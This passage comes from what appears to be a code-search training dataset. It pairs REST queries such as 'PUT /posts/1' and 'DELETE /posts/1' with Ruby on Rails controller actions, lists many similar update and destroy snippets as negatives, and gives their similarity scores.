"0.6387734",
"0.63795847",
"0.6375628",
"0.6373732",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6369107",
"0.63611555",
"0.6351466",
"0.6348891",
"0.6344897",
"0.6312749",
"0.6307845",
"0.63030463",
"0.6300117",
"0.6297244",
"0.62969273",
"0.6294826",
"0.6294681",
"0.6294436",
"0.6288339",
"0.6287679",
"0.62829244",
"0.62818336",
"0.626294"
] | 0.0 | -1 |
PUT /posts/1 PUT /posts/1.json | def update
@post = Post.find(params[:id])
authorize! :update, @post
respond_to do |format|
if @post.update_attributes(params[:post])
format.html { redirect_to @post, notice: 'Post was successfully updated.' }
else
format.html { render action: "edit" }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n render json: Post.update(params[\"id\"], params[\"post\"])\n end",
"def update\n respond_with Post.update(params[:id], params[:posts])\n end",
"def update\n respond_with post.update(params[:id], params[:post])\n end",
"def update\n title = params[:title]\n body = params[:body]\n\n @post.update!(title: title, body: body)\n\n if @post.save!\n json_response(@post)\n else\n json_response(@post.errors)\n end\n end",
"def update\n authorize @post\n\n if @post.save\n render json: @post\n else\n render json: @post.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def test_update_post\n data = {\n title: \"Roll lemon\",\n content: \"Gingerbread bear claw muffin danish danish marzipan. Toffee lollipop wafer carrot cake dessert.\",\n description: \"Chocolate tootsie roll lemon drops. Chupa chups chocolate bar apple pie\",\n image: \"chocolate.png\",\n status: 1\n }\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update\n respond_with Post.update(params[:id],post_params)\n end",
"def update\n\t\t@post = post.find(params[:id])\n\t\[email protected]_attributes(post_params)\n\t\trespond_to do |format|\n\t\t\tformat.html {redirect_to post_path(@post)}\n\t\t\tformat.json {render json: @post}\n\t\tend\n\tend",
"def update\n if @post.update({\n title: post_params[:title],\n content: post_params[:content],\n })\n render json: Post.all.as_json\n else\n render json: {errors: @post.errors.full_messages}, status: :unprocessable_entity\n end\n end",
"def put(*args)\n request :put, *args\n end",
"def update\n @post = Post.find(params[:id])\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.json { render :json => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity}\n end\n end\n #respond_with Post.update(params[:id], params[:post])\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(post_params)\n format.json { head :no_content }\n format.xml { head :no_content }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n format.xml { render xml: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n @post.update_attributes(params[:post])\n format.html { redirect_to posts_url, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n end \n end",
"def update\n @api_post = Api::Post.find(params[:id])\n\n if @api_post.update(api_post_params)\n head :no_content\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end",
"def update\n id = Post.find(params[:id])._id\n \n respond_to do |format|\n if ((@post.update_attributes(params[:post])) && (@post._id = id))\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n redirect_to '/posts'\n end",
"def update\n\t\tif @post.update(post_params)\n\t\t\trender json: @post, status: :success\n\t\telse\n\t\t\trender json: @post.errors, status: :unprocessable_entity #422\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @api_v1_post.update(api_v1_post_params)\n format.html { redirect_to @api_v1_post, notice: 'Post was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_post }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n request(:put, *args)\n end",
"def update\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n if (@post.update(params.permit(:title, :content)))\n render json: @post, status: :ok\n else\n render json: @post.errors, status: 422\n end\n end",
"def update\n\t\t# find our post\n\t\tid = params[:id]\n\t\t@post = Post.find(id)\n\n\t\t# increment the number of votes\n\t\tif params[:tweet] == \"true\"\n\t\t\[email protected] = @post.votes + 1\n\t\t\[email protected]\n\t\telsif params[:flagged] == \"true\"\n\t\t\[email protected] = @post.flagged + 1\n\t\t\[email protected]\n\t\tend\n\t\t\n\t\t# TODO: ask Tom what this does again\n\t\trender :json => @post\n\tend",
"def put!\n request! :put\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to posts_path, notice: 'Post was successfully updated.' }\n format.json { render json: @post }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n update! { posts_url }\n end",
"def update\n if @post.update(post_params)\n render json: {\n data: @post\n }\n else\n render json: {\n errors: @post.errors\n }\n end\n end",
"def update(*args)\n put(*args)\n end",
"def update(*args)\n put(*args)\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.json { render :show, status: :ok, location: @post }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def update\n @post.update_attributes(params[:post])\n respond_with(@post)\n end",
"def update\n @api_v2_post = Post.find(params[:id])\n\n respond_to do |format|\n if @api_v2_post.update_attributes(params[:api_v2_post])\n format.html { redirect_to @api_v2_post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_v2_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(path, body = nil, ctype = 'application/json')\n make_call(mk_conn(path, 'Content-Type': ctype,\n 'Accept': 'application/json'),\n :put, nil, body.to_json)\n end",
"def update\n post = Post.find_by(id: params[:id])\n # byebug\n\n post.assign_attributes(update_params)\n if post.valid?\n post.save\n render json: post, status: :created\n else\n render json: {errors: post.errors.full_messages}, status: 422\n end\n end",
"def update_post(post_id, post_data)\n uri = \"#{@api_url}/#{@project_id}/posts/#{post_id}?access_token=#{@access_token}\"\n put uri, post_data\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'slam updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authenticated\n\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: '' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n update_resource_response(@post, blog_post_params)\n end",
"def update\n @post = Post.find_by_slug(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @post.update(post_params)\n render action: \"show.json.jbuilder\"\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to :action => 'index', notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = current_user\n @post = @user.posts.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n post = current_user.posts.find_by_uuid(params[:id])\n return render_item_not_found('Post') unless post\n post.update_attributes(post_params)\n broadcast(post, 'update')\n head :ok\n end",
"def update\r\n @post = Post.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @post.update_attributes(params[:post])\r\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @post.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n @title = \"EDIT\"\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end",
"def put(path, data = {})\n request 'PUT', path, body: data.to_json\n end",
"def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end",
"def update\n if @post.update(post_params)\n render json: {status: 1, id: @post.id.to_s, notice: \"修改成功,标题是:#{@post.title.capitalize}\", errors: []}\n else\n render json: {status: -1, notice: \"修改失败\", errors: @post.errors.fall_message}\n end\n end",
"def update\n respond_to do |format|\n @post.title = params[:title]\n @post.body = params[:body]\n @tags = params[:tags].split(',') unless params[:tags].blank?\n Post.transaction do\n if @post.save\n destroy_tags(@post, @tags)\n create_tags(@post, @tags)\n format.html { redirect_to posts_path, notice: 'Post was successfully updated.' }\n format.json { render :show, status: :ok, location: @post }\n else\n @action_path = post_path @post\n @method = :put\n format.html { render :edit }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def update\n redirect_to posts_path and return unless Mist.authorized?(:update_post, self)\n @post = Mist::Post.find(params[:id])\n\n respond_to do |format|\n coerce_date(params[:post], 'published_at')\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n put :update\n end",
"def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end",
"def update\n @post = Post.update(params[:id], params[:post].permit(:caption))\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to magazine_post_path(@post.short_url), notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", layout: \"editor\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end",
"def update\n authorize\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post.update!(post_params)\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to \"/#{session[:username]}\", notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"def update\n if @post.update(post_params)\n render :show, status: :ok, location: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @post.update(post_params)\n render :show, status: :ok, location: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def update\t\n\t\tpost = @current_user.role == \"admin\" ? Post.find_by(id: params[:id]) : @current_user.posts.find_by(id: params[:id]) \n\t\tif post && post.update_attributes(post_params)\n\t\trender json: {success: true, auth_token: @current_user.authentication_token, post_id: post.id, post_desc: post.description}\n\t else\n\t render json: {success: false, message: \"not found or validation failed\"}, status: 422\n\t\tend \n\tend",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:article])\n format.html { redirect_to @post, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = current_user.posts.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to sites_url, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_api_v1_post\n @api_v1_post = Api::V1::Post.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @resource.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { render :show, status: :ok, location: @post }\n else\n format.html { render :edit }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post}\n format.json { render :show, status: :ok, location: @post }\n else\n format.html { render :edit }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n clean = params.require(:post).permit(:title, :body, :tag)\n if @post.update_attributes(clean)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n @post.update_attributes(params[:post])\n flash[:notice] = \"Updated succesfully\"\n respond_with(@post)\n end",
"def update\n respond_to do |format|\n if @post.update_attributes(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { render :show, status: :ok, location: @post }\n else\n format.html { render :edit }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'post was successfully updated.' }\n format.json { render :show, status: :ok, location: @post }\n else\n format.html { render :edit }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.7308219",
"0.7123652",
"0.68159384",
"0.66432106",
"0.66181636",
"0.6607148",
"0.6583982",
"0.6564183",
"0.6552021",
"0.6532697",
"0.6511846",
"0.64877653",
"0.6446283",
"0.64321554",
"0.64155626",
"0.638547",
"0.63833165",
"0.63661736",
"0.63641906",
"0.6363359",
"0.63632154",
"0.6359975",
"0.63548297",
"0.63542086",
"0.6352791",
"0.6345763",
"0.63306063",
"0.6318297",
"0.6300069",
"0.6300069",
"0.6273585",
"0.62707883",
"0.62700063",
"0.6267426",
"0.6240362",
"0.6237036",
"0.62367743",
"0.62214875",
"0.6218219",
"0.6213732",
"0.62063664",
"0.61901885",
"0.61901885",
"0.61901885",
"0.61901885",
"0.61853313",
"0.6181859",
"0.6181859",
"0.61765033",
"0.6166637",
"0.6165114",
"0.6165114",
"0.6165114",
"0.6165114",
"0.6165114",
"0.6165114",
"0.6165114",
"0.6165114",
"0.6165114",
"0.6165114",
"0.6165114",
"0.6165114",
"0.6165114",
"0.6165114",
"0.6165114",
"0.6165114",
"0.61647093",
"0.61509615",
"0.6148211",
"0.6140376",
"0.6134548",
"0.6133479",
"0.61251056",
"0.61222315",
"0.61204594",
"0.6110559",
"0.6108299",
"0.60977256",
"0.6083164",
"0.6059843",
"0.6045384",
"0.60448086",
"0.6027209",
"0.6026328",
"0.60209423",
"0.60053504",
"0.5995274",
"0.59937966",
"0.598489",
"0.5965054",
"0.5965054",
"0.59429854",
"0.59422094",
"0.59290034",
"0.59253895",
"0.5915753",
"0.5909751",
"0.5909557",
"0.5909293",
"0.5900103",
"0.5898666"
] | 0.0 | -1 |
DELETE /posts/1 DELETE /posts/1.json | def destroy
@post = Post.find(params[:id])
authorize! :destroy, @post
@post.destroy
respond_to do |format|
format.html { redirect_to posts_url }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n post = Post.find(params[:id])\n if post.destroy\n render json: {status: \"success\", data: {id: params[:id]}}, status: :ok\n end\n end",
"def destroy\n @post.destroy\n render json: {}, status: :ok\n end",
"def destroy\n if @post.destroy\n render json: {\n post: @post\n }, status: :ok\n else\n render status: :bad_request\n end\n end",
"def destroy\n @api_v2_post = Post.find(params[:id])\n @api_v2_post.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v2_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_post.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_posts_url, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authenticated\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @post = Post.find(params[:id])\n # @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post.destroy\n\n json_response(@post)\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
